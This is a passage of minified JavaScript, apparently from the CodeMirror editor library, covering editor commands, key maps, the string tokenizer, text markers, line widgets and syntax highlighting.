gl},cX)},goLineUp:function(gi){gi.moveV(-1,"line")},goLineDown:function(gi){gi.moveV(1,"line")},goPageUp:function(gi){gi.moveV(-1,"page")},goPageDown:function(gi){gi.moveV(1,"page")},goCharLeft:function(gi){gi.moveH(-1,"char")},goCharRight:function(gi){gi.moveH(1,"char")},goColumnLeft:function(gi){gi.moveH(-1,"column")},goColumnRight:function(gi){gi.moveH(1,"column")},goWordLeft:function(gi){gi.moveH(-1,"word")},goGroupRight:function(gi){gi.moveH(1,"group")},goGroupLeft:function(gi){gi.moveH(-1,"group")},goWordRight:function(gi){gi.moveH(1,"word")},delCharBefore:function(gi){gi.deleteH(-1,"char")},delCharAfter:function(gi){gi.deleteH(1,"char")},delWordBefore:function(gi){gi.deleteH(-1,"word")},delWordAfter:function(gi){gi.deleteH(1,"word")},delGroupBefore:function(gi){gi.deleteH(-1,"group")},delGroupAfter:function(gi){gi.deleteH(1,"group")},indentAuto:function(gi){gi.indentSelection("smart")},indentMore:function(gi){gi.indentSelection("add")},indentLess:function(gi){gi.indentSelection("subtract")},insertTab:function(gi){gi.replaceSelection("\t")},insertSoftTab:function(gi){var gk=[],gj=gi.listSelections(),gn=gi.options.tabSize;for(var gm=0;gm<gj.length;gm++){var go=gj[gm].from();var gl=bU(gi.getLine(go.line),go.ch,gn);gk.push(new Array(gn-gl%gn+1).join(" "))}gi.replaceSelections(gk)},defaultTab:function(gi){if(gi.somethingSelected()){gi.indentSelection("add")}else{gi.execCommand("insertTab")}},transposeChars:function(gi){cN(gi,function(){var gl=gi.listSelections(),gk=[];for(var gm=0;gm<gl.length;gm++){var go=gl[gm].head,gj=fg(gi.doc,go.line).text;if(gj){if(go.ch==gj.length){go=new W(go.line,go.ch-1)}if(go.ch>0){go=new W(go.line,go.ch+1);gi.replaceRange(gj.charAt(go.ch-1)+gj.charAt(go.ch-2),W(go.line,go.ch-2),go,"+transpose")}else{if(go.line>gi.doc.first){var gn=fg(gi.doc,go.line-1).text;if(gn){gi.replaceRange(gj.charAt(0)+"\n"+gn.charAt(gn.length-1),W(go.line-1,gn.length-1),W(go.line,1),"+transpose")}}}}gk.push(new dZ(go,go))}gi.setSelections(gk)})},newlineAndIndent:function(gi){cN(gi,function(){var gj=gi.listSelections().length;for(var gl=0;gl<gj;gl++){var gk=gi.listSelections()[gl];gi.replaceRange("\n",gk.anchor,gk.head,"+input");gi.indentLine(gk.from().line+1,null,true);fG(gi)}})},toggleOverwrite:function(gi){gi.toggleOverwrite()}};var fb=H.keyMap={};fb.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"};fb.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"};fb.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"};fb.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]};fb["default"]=b8?fb.macDefault:fb.pcDefault;function du(gj){var gp=gj.split(/-(?!$)/),gj=gp[gp.length-1];var go,gn,gi,gm;for(var gl=0;gl<gp.length-1;gl++){var gk=gp[gl];if(/^(cmd|meta|m)$/i.test(gk)){gm=true}else{if(/^a(lt)?$/i.test(gk)){go=true}else{if(/^(c|ctrl|control)$/i.test(gk)){gn=true}else{if(/^s(hift)$/i.test(gk)){gi=true}else{throw new Error("Unrecognized modifier name: "+gk)}}}}}if(go){gj="Alt-"+gj}if(gn){gj="Ctrl-"+gj}if(gm){gj="Cmd-"+gj}if(gi){gj="Shift-"+gj}return gj}H.normalizeKeyMap=function(gp){var gj={};for(var go in gp){if(gp.hasOwnProperty(go)){var gq=gp[go];if(/^(name|fallthrough|(de|at)tach)$/.test(go)){continue}if(gq=="..."){delete gp[go];continue}var gr=bT(go.split(" "),du);for(var gn=0;gn<gr.length;gn++){var gl,gk;if(gn==gr.length-1){gk=gr.join(" ");gl=gq}else{gk=gr.slice(0,gn+1).join(" ");gl="..."}var gm=gj[gk];if(!gm){gj[gk]=gl}else{if(gm!=gl){throw new Error("Inconsistent bindings for "+gk)}}}delete gp[go]}}for(var gi in gj){gp[gi]=gj[gi]}return gp};var i=H.lookupKey=function(gl,go,gn,gk){go=fY(go);var gm=go.call?go.call(gl,gk):go[gl];if(gm===false){return"nothing"}if(gm==="..."){return"multi"}if(gm!=null&&gn(gm)){return"handled"}if(go.fallthrough){if(Object.prototype.toString.call(go.fallthrough)!="[object Array]"){return i(gl,go.fallthrough,gn,gk)}for(var gj=0;gj<go.fallthrough.length;gj++){var gi=i(gl,go.fallthrough[gj],gn,gk);if(gi){return gi}}}};var eD=H.isModifierKey=function(gj){var gi=typeof gj=="string"?gj:fh[gj.keyCode];return gi=="Ctrl"||gi=="Alt"||gi=="Shift"||gi=="Mod"};var fs=H.keyName=function(gj,gl){if(d4&&gj.keyCode==34&&gj["char"]){return false}var gk=fh[gj.keyCode],gi=gk;if(gi==null||gj.altGraphKey){return false}if(gj.altKey&&gk!="Alt"){gi="Alt-"+gi}if((bR?gj.metaKey:gj.ctrlKey)&&gk!="Ctrl"){gi="Ctrl-"+gi}if((bR?gj.ctrlKey:gj.metaKey)&&gk!="Cmd"){gi="Cmd-"+gi}if(!gl&&gj.shiftKey&&gk!="Shift"){gi="Shift-"+gi}return gi};function fY(gi){return typeof gi=="string"?fb[gi]:gi}H.fromTextArea=function(gp,gq){gq=gq?aN(gq):{};gq.value=gp.value;if(!gq.tabindex&&gp.tabIndex){gq.tabindex=gp.tabIndex}if(!gq.placeholder&&gp.placeholder){gq.placeholder=gp.placeholder}if(gq.autofocus==null){var gi=dP();gq.autofocus=gi==gp||gp.getAttribute("autofocus")!=null&&gi==document.body}function gm(){gp.value=go.getValue()}if(gp.form){bY(gp.form,"submit",gm);if(!gq.leaveSubmitMethodAlone){var gj=gp.form,gn=gj.submit;try{var gl=gj.submit=function(){gm();gj.submit=gn;gj.submit();gj.submit=gl}}catch(gk){}}}gq.finishInit=function(gr){gr.save=gm;gr.getTextArea=function(){return gp};gr.toTextArea=function(){gr.toTextArea=isNaN;gm();gp.parentNode.removeChild(gr.getWrapperElement());gp.style.display="";if(gp.form){ee(gp.form,"submit",gm);if(typeof gp.form.submit=="function"){gp.form.submit=gn}}}};gp.style.display="none";var go=H(function(gr){gp.parentNode.insertBefore(gr,gp.nextSibling)},gq);return go};var eU=H.StringStream=function(gi,gj){this.pos=this.start=0;this.string=gi;this.tabSize=gj||8;this.lastColumnPos=this.lastColumnValue=0;this.lineStart=0};eU.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||undefined},next:function(){if(this.pos<this.string.length){return this.string.charAt(this.pos++)}},eat:function(gi){var gk=this.string.charAt(this.pos);if(typeof gi=="string"){var gj=gk==gi}else{var gj=gk&&(gi.test?gi.test(gk):gi(gk))}if(gj){++this.pos;return gk}},eatWhile:function(gi){var gj=this.pos;while(this.eat(gi)){}return this.pos>gj},eatSpace:function(){var gi=this.pos;while(/[\s\u00a0]/.test(this.string.charAt(this.pos))){++this.pos}return this.pos>gi},skipToEnd:function(){this.pos=this.string.length},skipTo:function(gi){var gj=this.string.indexOf(gi,this.pos);if(gj>-1){this.pos=gj;return true}},backUp:function(gi){this.pos-=gi},column:function(){if(this.lastColumnPos<this.start){this.lastColumnValue=bU(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue);this.lastColumnPos=this.start}return this.lastColumnValue-(this.lineStart?bU(this.string,this.lineStart,this.tabSize):0)},indentation:function(){return bU(this.string,null,this.tabSize)-(this.lineStart?bU(this.string,this.lineStart,this.tabSize):0)},match:function(gm,gj,gi){if(typeof gm=="string"){var gn=function(go){return gi?go.toLowerCase():go};var gl=this.string.substr(this.pos,gm.length);if(gn(gl)==gn(gm)){if(gj!==false){this.pos+=gm.length}return true}}else{var gk=this.string.slice(this.pos).match(gm);if(gk&&gk.index>0){return null}if(gk&&gj!==false){this.pos+=gk[0].length}return gk}},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(gj,gi){this.lineStart+=gj;try{return gi()}finally{this.lineStart-=gj}}};var a6=0;var P=H.TextMarker=function(gj,gi){this.lines=[];this.type=gi;this.doc=gj;this.id=++a6};bz(P);P.prototype.clear=function(){if(this.explicitlyCleared){return}var gp=this.doc.cm,gj=gp&&!gp.curOp;if(gj){cJ(gp)}if(fj(this,"clear")){var gq=this.find();if(gq){ae(this,"clear",gq.from,gq.to)}}var gk=null,gn=null;for(var gl=0;gl<this.lines.length;++gl){var gr=this.lines[gl];var go=fa(gr.markedSpans,this);if(gp&&!this.collapsed){R(gp,bO(gr),"text")}else{if(gp){if(go.to!=null){gn=bO(gr)}if(go.from!=null){gk=bO(gr)}}}gr.markedSpans=eI(gr.markedSpans,go);if(go.from==null&&this.collapsed&&!fx(this.doc,gr)&&gp){f6(gr,aY(gp.display))}}if(gp&&this.collapsed&&!gp.options.lineWrapping){for(var gl=0;gl<this.lines.length;++gl){var gi=y(this.lines[gl]),gm=eo(gi);if(gm>gp.display.maxLineLength){gp.display.maxLine=gi;gp.display.maxLineLength=gm;gp.display.maxLineChanged=true}}}if(gk!=null&&gp&&this.collapsed){ah(gp,gk,gn+1)}this.lines.length=0;this.explicitlyCleared=true;if(this.atomic&&this.doc.cantEdit){this.doc.cantEdit=false;if(gp){ez(gp.doc)}}if(gp){ae(gp,"markerCleared",gp,this)}if(gj){am(gp)}if(this.parent){this.parent.clear()}};P.prototype.find=function(gl,gj){if(gl==null&&this.type=="bookmark"){gl=1}var go,gn;for(var gk=0;gk<this.lines.length;++gk){var gi=this.lines[gk];var gm=fa(gi.markedSpans,this);if(gm.from!=null){go=W(gj?gi:bO(gi),gm.from);if(gl==-1){return go}}if(gm.to!=null){gn=W(gj?gi:bO(gi),gm.to);if(gl==1){return gn}}}return go&&{from:go,to:gn}};P.prototype.changed=function(){var gk=this.find(-1,true),gj=this,gi=this.doc.cm;if(!gk||!gi){return}cN(gi,function(){var gm=gk.line,gn=bO(gk.line);var gl=fc(gi,gn);if(gl){au(gl);gi.curOp.selectionChanged=gi.curOp.forceUpdate=true}gi.curOp.updateMaxLine=true;if(!fx(gj.doc,gm)&&gj.height!=null){var gp=gj.height;gj.height=null;var go=cZ(gj)-gp;if(go){f6(gm,gm.height+go)}}})};P.prototype.attachLine=function(gi){if(!this.lines.length&&this.doc.cm){var gj=this.doc.cm.curOp;if(!gj.maybeHiddenMarkers||di(gj.maybeHiddenMarkers,this)==-1){(gj.maybeUnhiddenMarkers||(gj.maybeUnhiddenMarkers=[])).push(this)}}this.lines.push(gi)};P.prototype.detachLine=function(gi){this.lines.splice(di(this.lines,gi),1);if(!this.lines.length&&this.doc.cm){var gj=this.doc.cm.curOp;(gj.maybeHiddenMarkers||(gj.maybeHiddenMarkers=[])).push(this)}};var a6=0;function eG(gq,go,gp,gs,gm){if(gs&&gs.shared){return O(gq,go,gp,gs,gm)}if(gq.cm&&!gq.cm.curOp){return c3(gq.cm,eG)(gq,go,gp,gs,gm)}var gl=new P(gq,gm),gr=cg(go,gp);if(gs){aN(gs,gl,false)}if(gr>0||gr==0&&gl.clearWhenEmpty!==false){return gl}if(gl.replacedWith){gl.collapsed=true;gl.widgetNode=f3("span",[gl.replacedWith],"CodeMirror-widget");if(!gs.handleMouseEvents){gl.widgetNode.setAttribute("cm-ignore-events","true")}if(gs.insertLeft){gl.widgetNode.insertLeft=true}}if(gl.collapsed){if(z(gq,go.line,go,gp,gl)||go.line!=gp.line&&z(gq,gp.line,go,gp,gl)){throw new Error("Inserting collapsed marker partially overlapping an existing one")}a8=true}if(gl.addToHistory){fN(gq,{from:go,to:gp,origin:"markText"},gq.sel,NaN)}var gj=go.line,gn=gq.cm,gi;gq.iter(gj,gp.line+1,function(gt){if(gn&&gl.collapsed&&!gn.options.lineWrapping&&y(gt)==gn.display.maxLine){gi=true}if(gl.collapsed&&gj!=go.line){f6(gt,0)}ce(gt,new ej(gl,gj==go.line?go.ch:null,gj==gp.line?gp.ch:null));++gj});if(gl.collapsed){gq.iter(go.line,gp.line+1,function(gt){if(fx(gq,gt)){f6(gt,0)}})}if(gl.clearOnEnter){bY(gl,"beforeCursorEnter",function(){gl.clear()})}if(gl.readOnly){gd=true;if(gq.history.done.length||gq.history.undone.length){gq.clearHistory()}}if(gl.collapsed){gl.id=++a6;gl.atomic=true}if(gn){if(gi){gn.curOp.updateMaxLine=true}if(gl.collapsed){ah(gn,go.line,gp.line+1)}else{if(gl.className||gl.title||gl.startStyle||gl.endStyle||gl.css){for(var gk=go.line;gk<=gp.line;gk++){R(gn,gk,"text")}}}if(gl.atomic){ez(gn.doc)}ae(gn,"markerAdded",gn,gl)}return gl}var x=H.SharedTextMarker=function(gk,gj){this.markers=gk;this.primary=gj;for(var gi=0;gi<gk.length;++gi){gk[gi].parent=this}};bz(x);x.prototype.clear=function(){if(this.explicitlyCleared){return}this.explicitlyCleared=true;for(var gi=0;gi<this.markers.length;++gi){this.markers[gi].clear()}ae(this,"clear")};x.prototype.find=function(gj,gi){return this.primary.find(gj,gi)};function O(gm,gp,go,gi,gk){gi=aN(gi);gi.shared=false;var gn=[eG(gm,gp,go,gi,gk)],gj=gn[0];var gl=gi.widgetNode;d8(gm,function(gr){if(gl){gi.widgetNode=gl.cloneNode(true)}gn.push(eG(gr,fK(gr,gp),fK(gr,go),gi,gk));for(var gq=0;gq<gr.linked.length;++gq){if(gr.linked[gq].isParent){return}}gj=fH(gn)});return new x(gn,gj)}function eQ(gi){return gi.findMarks(W(gi.first,0),gi.clipPos(W(gi.lastLine())),function(gj){return gj.parent})}function dG(gn,go){for(var gl=0;gl<go.length;gl++){var gj=go[gl],gp=gj.find();var gi=gn.clipPos(gp.from),gm=gn.clipPos(gp.to);if(cg(gi,gm)){var gk=eG(gn,gi,gm,gj.primary,gj.primary.type);gj.markers.push(gk);gk.parent=gj}}}function ep(gl){for(var gk=0;gk<gl.length;gk++){var gi=gl[gk],gn=[gi.primary.doc];d8(gi.primary.doc,function(go){gn.push(go)});for(var gj=0;gj<gi.markers.length;gj++){var gm=gi.markers[gj];if(di(gn,gm.doc)==-1){gm.parent=null;gi.markers.splice(gj--,1)}}}}function ej(gi,gk,gj){this.marker=gi;this.from=gk;this.to=gj}function fa(gk,gi){if(gk){for(var gj=0;gj<gk.length;++gj){var gl=gk[gj];if(gl.marker==gi){return gl}}}}function eI(gj,gk){for(var gl,gi=0;gi<gj.length;++gi){if(gj[gi]!=gk){(gl||(gl=[])).push(gj[gi])}}return gl}function ce(gi,gj){gi.markedSpans=gi.markedSpans?gi.markedSpans.concat([gj]):[gj];gj.marker.attachLine(gi)}function aQ(gj,gk,go){if(gj){for(var gm=0,gp;gm<gj.length;++gm){var gq=gj[gm],gn=gq.marker;var gi=gq.from==null||(gn.inclusiveLeft?gq.from<=gk:gq.from<gk);if(gi||gq.from==gk&&gn.type=="bookmark"&&(!go||!gq.marker.insertLeft)){var gl=gq.to==null||(gn.inclusiveRight?gq.to>=gk:gq.to>gk);(gp||(gp=[])).push(new ej(gn,gq.from,gl?null:gq.to))}}}return gp}function aB(gj,gl,go){if(gj){for(var gm=0,gp;gm<gj.length;++gm){var gq=gj[gm],gn=gq.marker;var gk=gq.to==null||(gn.inclusiveRight?gq.to>=gl:gq.to>gl);if(gk||gq.from==gl&&gn.type=="bookmark"&&(!go||gq.marker.insertLeft)){var gi=gq.from==null||(gn.inclusiveLeft?gq.from<=gl:gq.from<gl);(gp||(gp=[])).push(new ej(gn,gi?null:gq.from-gl,gq.to==null?null:gq.to-gl))}}}return gp}function el(gu,gr){if(gr.full){return null}var gq=ca(gu,gr.from.line)&&fg(gu,gr.from.line).markedSpans;var gx=ca(gu,gr.to.line)&&fg(gu,gr.to.line).markedSpans;if(!gq&&!gx){return null}var gj=gr.from.ch,gm=gr.to.ch,gp=cg(gr.from,gr.to)==0;var go=aQ(gq,gj,gp);var gw=aB(gx,gm,gp);var gv=gr.text.length==1,gk=fH(gr.text).length+(gv?gj:0);if(go){for(var gl=0;gl<go.length;++gl){var gt=go[gl];if(gt.to==null){var gy=fa(gw,gt.marker);if(!gy){gt.to=gj}else{if(gv){gt.to=gy.to==null?null:gy.to+gk}}}}}if(gw){for(var gl=0;gl<gw.length;++gl){var gt=gw[gl];if(gt.to!=null){gt.to+=gk}if(gt.from==null){var gy=fa(go,gt.marker);if(!gy){gt.from=gk;if(gv){(go||(go=[])).push(gt)}}}else{gt.from+=gk;if(gv){(go||(go=[])).push(gt)}}}}if(go){go=q(go)}if(gw&&gw!=go){gw=q(gw)}var gn=[go];if(!gv){var gs=gr.text.length-2,gi;if(gs>0&&go){for(var gl=0;gl<go.length;++gl){if(go[gl].to==null){(gi||(gi=[])).push(new ej(go[gl].marker,null,null))}}}for(var gl=0;gl<gs;++gl){gn.push(gi)}gn.push(gw)}return gn}function q(gj){for(var gi=0;gi<gj.length;++gi){var gk=gj[gi];if(gk.from!=null&&gk.from==gk.to&&gk.marker.clearWhenEmpty!==false){gj.splice(gi--,1)}}if(!gj.length){return null}return gj}function ea(gq,go){var gi=b5(gq,go);var gr=el(gq,go);if(!gi){return gr}if(!gr){return gi}for(var gl=0;gl<gi.length;++gl){var gm=gi[gl],gn=gr[gl];if(gm&&gn){spans:for(var gk=0;gk<gn.length;++gk){var gp=gn[gk];for(var gj=0;gj<gm.length;++gj){if(gm[gj].marker==gp.marker){continue spans}}gm.push(gp)}}else{if(gn){gi[gl]=gn}}}return gi}function cI(gu,gs,gt){var gm=null;gu.iter(gs.line,gt.line+1,function(gv){if(gv.markedSpans){for(var gw=0;gw<gv.markedSpans.length;++gw){var gx=gv.markedSpans[gw].marker;if(gx.readOnly&&(!gm||di(gm,gx)==-1)){(gm||(gm=[])).push(gx)}}}});if(!gm){return null}var gn=[{from:gs,to:gt}];for(var go=0;go<gm.length;++go){var gp=gm[go],gk=gp.find(0);for(var gl=0;gl<gn.length;++gl){var gj=gn[gl];if(cg(gj.to,gk.from)<0||cg(gj.from,gk.to)>0){continue}var gr=[gl,1],gi=cg(gj.from,gk.from),gq=cg(gj.to,gk.to);if(gi<0||!gp.inclusiveLeft&&!gi){gr.push({from:gj.from,to:gk.from})}if(gq>0||!gp.inclusiveRight&&!gq){gr.push({from:gk.to,to:gj.to})}gn.splice.apply(gn,gr);gl+=gr.length-1}}return gn}function f9(gi){var gk=gi.markedSpans;if(!gk){return}for(var gj=0;gj<gk.length;++gj){gk[gj].marker.detachLine(gi)}gi.markedSpans=null}function c4(gi,gk){if(!gk){return}for(var gj=0;gj<gk.length;++gj){gk[gj].marker.attachLine(gi)}gi.markedSpans=gk}function v(gi){return gi.inclusiveLeft?-1:0}function bX(gi){return gi.inclusiveRight?1:0}function dR(gl,gj){var gn=gl.lines.length-gj.lines.length;if(gn!=0){return gn}var gk=gl.find(),go=gj.find();var gi=cg(gk.from,go.from)||v(gl)-v(gj);if(gi){return -gi}var gm=cg(gk.to,go.to)||bX(gl)-bX(gj);if(gm){return gm}return gj.id-gl.id}function a7(gj,gn){var gi=a8&&gj.markedSpans,gm;if(gi){for(var gl,gk=0;gk<gi.length;++gk){gl=gi[gk];if(gl.marker.collapsed&&(gn?gl.from:gl.to)==null&&(!gm||dR(gm,gl.marker)<0)){gm=gl.marker}}}return gm}function eP(gi){return a7(gi,true)}function ex(gi){return a7(gi,false)}function z(gq,gk,go,gp,gm){var gt=fg(gq,gk);var gi=a8&&gt.markedSpans;if(gi){for(var gl=0;gl<gi.length;++gl){var gj=gi[gl];if(!gj.marker.collapsed){continue}var gs=gj.marker.find(0);var gr=cg(gs.from,go)||v(gj.marker)-v(gm);var gn=cg(gs.to,gp)||bX(gj.marker)-bX(gm);if(gr>=0&&gn<=0||gr<=0&&gn>=0){continue}if(gr<=0&&(cg(gs.to,go)>0||(gj.marker.inclusiveRight&&gm.inclusiveLeft))||gr>=0&&(cg(gs.from,gp)<0||(gj.marker.inclusiveLeft&&gm.inclusiveRight))){return true}}}}function y(gj){var gi;while(gi=eP(gj)){gj=gi.find(-1,true).line}return gj}function g(gk){var gi,gj;while(gi=ex(gk)){gk=gi.find(1,true).line;(gj||(gj=[])).push(gk)}return gj}function aW(gl,gj){var gi=fg(gl,gj),gk=y(gi);if(gi==gk){return gj}return bO(gk)}function d3(gl,gk){if(gk>gl.lastLine()){return gk}var gj=fg(gl,gk),gi;if(!fx(gl,gj)){return gk}while(gi=ex(gj)){gj=gi.find(1,true).line}return bO(gj)+1}function fx(gm,gj){var gi=a8&&gj.markedSpans;if(gi){for(var gl,gk=0;gk<gi.length;++gk){gl=gi[gk];if(!gl.marker.collapsed){continue}if(gl.from==null){return true}if(gl.marker.widgetNode){continue}if(gl.from==0&&gl.marker.inclusiveLeft&&T(gm,gj,gl)){return true}}}}function T(gn,gj,gl){if(gl.to==null){var gi=gl.marker.find(1,true);return T(gn,gi.line,fa(gi.line.markedSpans,gl.marker))}if(gl.marker.inclusiveRight&&gl.to==gj.text.length){return true}for(var gm,gk=0;gk<gj.markedSpans.length;++gk){gm=gj.markedSpans[gk];if(gm.marker.collapsed&&!gm.marker.widgetNode&&gm.from==gl.to&&(gm.to==null||gm.to!=gl.from)&&(gm.marker.inclusiveLeft||gl.marker.inclusiveRight)&&T(gn,gj,gm)){return true}}}var dC=H.LineWidget=function(gl,gk,gi){if(gi){for(var gj in gi){if(gi.hasOwnProperty(gj)){this[gj]=gi[gj]}}}this.doc=gl;this.node=gk};bz(dC);function d0(gi,gj,gk){if(bN(gj)<((gi.curOp&&gi.curOp.scrollTop)||gi.doc.scrollTop)){cM(gi,null,gk)}}dC.prototype.clear=function(){var gj=this.doc.cm,gl=this.line.widgets,gk=this.line,gn=bO(gk);if(gn==null||!gl){return}for(var gm=0;gm<gl.length;++gm){if(gl[gm]==this){gl.splice(gm--,1)}}if(!gl.length){gk.widgets=null}var gi=cZ(this);f6(gk,Math.max(0,gk.height-gi));if(gj){cN(gj,function(){d0(gj,gk,-gi);R(gj,gn,"widget")})}};dC.prototype.changed=function(){var gj=this.height,gi=this.doc.cm,gk=this.line;this.height=null;var gl=cZ(this)-gj;if(!gl){return}f6(gk,gk.height+gl);if(gi){cN(gi,function(){gi.curOp.forceUpdate=true;d0(gi,gk,gl)})}};function cZ(gk){if(gk.height!=null){return gk.height}var gi=gk.doc.cm;if(!gi){return 0}if(!gb(document.body,gk.node)){var gj="position: relative;";if(gk.coverGutter){gj+="margin-left: -"+gi.display.gutters.offsetWidth+"px;"}if(gk.noHScroll){gj+="width: "+gi.display.wrapper.clientWidth+"px;"}bS(gi.display.measure,f3("div",[gk.node],null,gj))}return gk.height=gk.node.offsetHeight}function bI(gn,gm,gk,gj){var gl=new dC(gn,gk,gj);var gi=gn.cm;if(gi&&gl.noHScroll){gi.display.alignWidgets=true}eA(gn,gm,"widget",function(gp){var gq=gp.widgets||(gp.widgets=[]);if(gl.insertAt==null){gq.push(gl)}else{gq.splice(Math.min(gq.length-1,Math.max(0,gl.insertAt)),0,gl)}gl.line=gp;if(gi&&!fx(gn,gp)){var go=bN(gp)<gn.scrollTop;f6(gp,gp.height+cZ(gl));if(go){cM(gi,null,gl.height)}gi.curOp.forceUpdate=true}return true});return gl}var f7=H.Line=function(gk,gj,gi){this.text=gk;c4(this,gj);this.height=gi?gi(this):1};bz(f7);f7.prototype.lineNo=function(){return bO(this)};function en(gj,gm,gk,gi){gj.text=gm;if(gj.stateAfter){gj.stateAfter=null}if(gj.styles){gj.styles=null}if(gj.order!=null){gj.order=null}f9(gj);c4(gj,gk);var gl=gi?gi(gj):1;if(gl!=gj.height){f6(gj,gl)}}function bC(gi){gi.parent=null;f9(gi)}function dj(gk,gj){if(gk){for(;;){var gi=gk.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!gi){break}gk=gk.slice(0,gi.index)+gk.slice(gi.index+gi[0].length);var gl=gi[1]?"bgClass":"textClass";if(gj[gl]==null){gj[gl]=gi[2]}else{if(!(new RegExp("(?:^|s)"+gi[2]+"(?:$|s)")).test(gj[gl])){gj[gl]+=" "+gi[2]}}}}return gk}function fr(gk,gj){if(gk.blankLine){return gk.blankLine(gj)}if(!gk.innerMode){return}var gi=H.innerMode(gk,gj);if(gi.mode.blankLine){return gi.mode.blankLine(gi.state)}}function eB(gn,gm,gl,gi){for(var gj=0;gj<10;gj++){if(gi){gi[0]=H.innerMode(gn,gl).mode}var gk=gn.token(gm,gl);if(gm.pos>gm.start){return gk}}throw new Error("Mode "+gn.name+" failed to advance stream.")}function cr(gr,gp,gm,gl){function gi(gu){return{start:gs.start,end:gs.pos,string:gs.current(),type:gk||null,state:gu?b4(gq.mode,gj):gj}}var gq=gr.doc,gn=gq.mode,gk;gp=fK(gq,gp);var gt=fg(gq,gp.line),gj=dD(gr,gp.line,gm);var gs=new eU(gt.text,gr.options.tabSize),go;if(gl){go=[]}while((gl||gs.pos<gp.ch)&&!gs.eol()){gs.start=gs.pos;gk=eB(gn,gs,gj);if(gl){go.push(gi(true))}}return gl?go:gi()}function w(gs,gu,gn,gj,go,gl,gm){var gk=gn.flattenSpans;if(gk==null){gk=gs.options.flattenSpans}var gq=0,gp=null;var gt=new eU(gu,gs.options.tabSize),gi;var gw=gs.options.addModeClass&&[null];if(gu==""){dj(fr(gn,gj),gl)}while(!gt.eol()){if(gt.pos>gs.options.maxHighlightLength){gk=false;if(gm){dy(gs,gu,gj,gt.pos)}gt.pos=gu.length;gi=null}else{gi=dj(eB(gn,gt,gj,gw),gl)}if(gw){var gv=gw[0].name;if(gv){gi="m-"+(gi?gv+" "+gi:gv)}}if(!gk||gp!=gi){while(gq<gt.start){gq=Math.min(gt.start,gq+50000);go(gq,gp)}gp=gi}gt.start=gt.pos}while(gq<gt.pos){var gr=Math.min(gt.pos,gq+50000);go(gr,gp);gq=gr}}function fA(gp,gr,gi,gm){var gq=[gp.state.modeGen],gl={};w(gp,gr.text,gp.doc.mode,gi,function(gs,gt){gq.push(gs,gt)},gl,gm);for(var gj=0;gj<gp.state.overlays.length;++gj){var gn=gp.state.overlays[gj],go=1,gk=0;w(gp,gr.text,gn.mode,true,function(gs,gu){var gw=go;while(gk<gs){var gt=gq[go];if(gt>gs){gq.splice(go,1,gs,gq[go+1],gt)}go+=2;gk=Math.min(gs,gt)}if(!gu){return}if(gn.opaque){gq.splice(gw,go-gw,gs,"cm-overlay "+gu);go=gw+2}else{for(;gw<go;gw+=2){var gv=gq[gw+1];gq[gw+1]=(gv?gv+" ":"")+"cm-overlay "+gu}}},gl)}return{styles:gq,classes:gl.bgClass||gl.textClass?gl:null}}function c7(gj,gk,gl){if(!gk.styles||gk.styles[0]!=gj.state.modeGen){var gi=fA(gj,gk,gk.stateAfter=dD(gj,bO(gk)));gk.styles=gi.styles;if(gi.classes){gk.styleClasses=gi.classes}else{if(gk.styleClasses){gk.styleClasses=null}}if(gl===gj.doc.frontier){gj.doc.frontier++}}return gk.styles}function dy(gi,gn,gk,gj){var gm=gi.doc.mode;var gl=new eU(gn,gi.options.tabSize);gl.start=gl.pos=gj||0;if(gn==""){fr(gm,gk)}while(!gl.eol()&&gl.pos<=gi.options.maxHighlightLength){eB(gm,gl,gk);gl.start=gl.pos}}var dX={},b2={};function eX(gk,gj){if(!gk||/^\s*$/.test(gk)){return null}var gi=gj.addModeClass?b2:dX;return 